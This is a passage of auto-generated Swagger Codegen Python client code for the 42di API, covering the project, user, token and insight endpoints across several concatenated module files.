If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'current', 'expired'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_project_subs" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_project_subs`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_project_subs`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
query_params = []
if 'current' in params:
query_params.append(('current', params['current'])) # noqa: E501
if 'expired' in params:
query_params.append(('expired', params['expired'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/subs', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ProjectSub]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_project_property(self, team_id, project_id, **kwargs): # noqa: E501
"""Update Project property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_project_property(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_project_property_with_http_info(team_id, project_id, **kwargs) # noqa: E501
else:
(data) = self.update_project_property_with_http_info(team_id, project_id, **kwargs) # noqa: E501
return data
def update_project_property_with_http_info(self, team_id, project_id, **kwargs): # noqa: E501
"""Update Project property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_project_property_with_http_info(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_project_property" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `update_project_property`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `update_project_property`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/projects_api.py
|
projects_api.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class UsersApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_user(self, **kwargs): # noqa: E501
"""Create User # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_user(async_req=True)
>>> result = thread.get()
:param async_req bool
:param User body: The **User** will be created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_user_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.create_user_with_http_info(**kwargs) # noqa: E501
return data
def create_user_with_http_info(self, **kwargs): # noqa: E501
"""Create User # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_user_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param User body: The **User** will be created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_user" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/users', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_token(self, user_id, password, **kwargs): # noqa: E501
"""Get Token # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_token(user_id, password, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: the **User** identity (required)
:param str password: User password sha1 string. (required)
:return: Token
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_token_with_http_info(user_id, password, **kwargs) # noqa: E501
else:
(data) = self.get_token_with_http_info(user_id, password, **kwargs) # noqa: E501
return data
def get_token_with_http_info(self, user_id, password, **kwargs): # noqa: E501
"""Get Token # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_token_with_http_info(user_id, password, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: the **User** identity (required)
:param str password: User password sha1 string. (required)
:return: Token
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id', 'password'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_token" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params or
params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_token`") # noqa: E501
# verify the required parameter 'password' is set
if ('password' not in params or
params['password'] is None):
raise ValueError("Missing the required parameter `password` when calling `get_token`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_id' in params:
path_params['user_id'] = params['user_id'] # noqa: E501
query_params = []
if 'password' in params:
query_params.append(('password', params['password'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/users/{user_id}/tokens', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Token', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_user(self, user_id, **kwargs): # noqa: E501
"""Get User # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: the **User** identity (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_user_with_http_info(user_id, **kwargs) # noqa: E501
else:
(data) = self.get_user_with_http_info(user_id, **kwargs) # noqa: E501
return data
def get_user_with_http_info(self, user_id, **kwargs): # noqa: E501
"""Get User # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user_with_http_info(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: the **User** identity (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params or
params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_id' in params:
path_params['user_id'] = params['user_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/users/{user_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='User', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_users(self, **kwargs): # noqa: E501
"""List Users # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_users(async_req=True)
>>> result = thread.get()
:param async_req bool
:param list[str] id: A list of user id to find users.
:param str email: The email address of user
:return: list[User]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_users_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.list_users_with_http_info(**kwargs) # noqa: E501
return data
def list_users_with_http_info(self, **kwargs): # noqa: E501
"""List Users # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_users_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param list[str] id: A list of user id to find users.
:param str email: The email address of user
:return: list[User]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'email'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_users" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'id' in params:
query_params.append(('id', params['id'])) # noqa: E501
collection_formats['id'] = 'multi' # noqa: E501
if 'email' in params:
query_params.append(('email', params['email'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/users', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[User]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_user_property(self, user_id, **kwargs): # noqa: E501
"""Update User property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_user_property(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: the **User** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_user_property_with_http_info(user_id, **kwargs) # noqa: E501
else:
(data) = self.update_user_property_with_http_info(user_id, **kwargs) # noqa: E501
return data
def update_user_property_with_http_info(self, user_id, **kwargs): # noqa: E501
"""Update User property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_user_property_with_http_info(user_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_id: the **User** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_user_property" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params or
params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `update_user_property`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_id' in params:
path_params['user_id'] = params['user_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/users/{user_id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/users_api.py
|
users_api.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class InsightsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def delete_insight(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Delete Insight # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_insight(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_insight_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
else:
(data) = self.delete_insight_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
return data
def delete_insight_with_http_info(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Delete Insight # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_insight_with_http_info(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'insight_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_insight" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `delete_insight`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `delete_insight`") # noqa: E501
# verify the required parameter 'insight_id' is set
if ('insight_id' not in params or
params['insight_id'] is None):
raise ValueError("Missing the required parameter `insight_id` when calling `delete_insight`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'insight_id' in params:
path_params['insight_id'] = params['insight_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/insights/{insight_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_insight(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Get Insight # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_insight(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:return: Insight
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_insight_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
else:
(data) = self.get_insight_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
return data
def get_insight_with_http_info(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Get Insight # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_insight_with_http_info(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:return: Insight
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'insight_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_insight" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_insight`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_insight`") # noqa: E501
# verify the required parameter 'insight_id' is set
if ('insight_id' not in params or
params['insight_id'] is None):
raise ValueError("Missing the required parameter `insight_id` when calling `get_insight`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'insight_id' in params:
path_params['insight_id'] = params['insight_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/insights/{insight_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Insight', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_insights(self, team_id, project_id, **kwargs): # noqa: E501
"""List Insights # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_insights(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:return: list[Insight]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_insights_with_http_info(team_id, project_id, **kwargs) # noqa: E501
else:
(data) = self.list_insights_with_http_info(team_id, project_id, **kwargs) # noqa: E501
return data
def list_insights_with_http_info(self, team_id, project_id, **kwargs): # noqa: E501
"""List Insights # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_insights_with_http_info(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:return: list[Insight]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_insights" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `list_insights`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `list_insights`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/insights', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Insight]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_insight(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Update Insight # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_insight(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:param Insight body: The **Insight** object will be updated/created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_insight_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
else:
(data) = self.update_insight_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
return data
def update_insight_with_http_info(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Update Insight # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_insight_with_http_info(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:param Insight body: The **Insight** object will be updated/created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'insight_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_insight" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `update_insight`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `update_insight`") # noqa: E501
# verify the required parameter 'insight_id' is set
if ('insight_id' not in params or
params['insight_id'] is None):
raise ValueError("Missing the required parameter `insight_id` when calling `update_insight`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'insight_id' in params:
path_params['insight_id'] = params['insight_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/insights/{insight_id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_insight_property(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Update Insight property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_insight_property(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_insight_property_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
else:
(data) = self.update_insight_property_with_http_info(team_id, project_id, insight_id, **kwargs) # noqa: E501
return data
def update_insight_property_with_http_info(self, team_id, project_id, insight_id, **kwargs): # noqa: E501
"""Update Insight property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_insight_property_with_http_info(team_id, project_id, insight_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str insight_id: the **Insight** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'insight_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_insight_property" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `update_insight_property`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
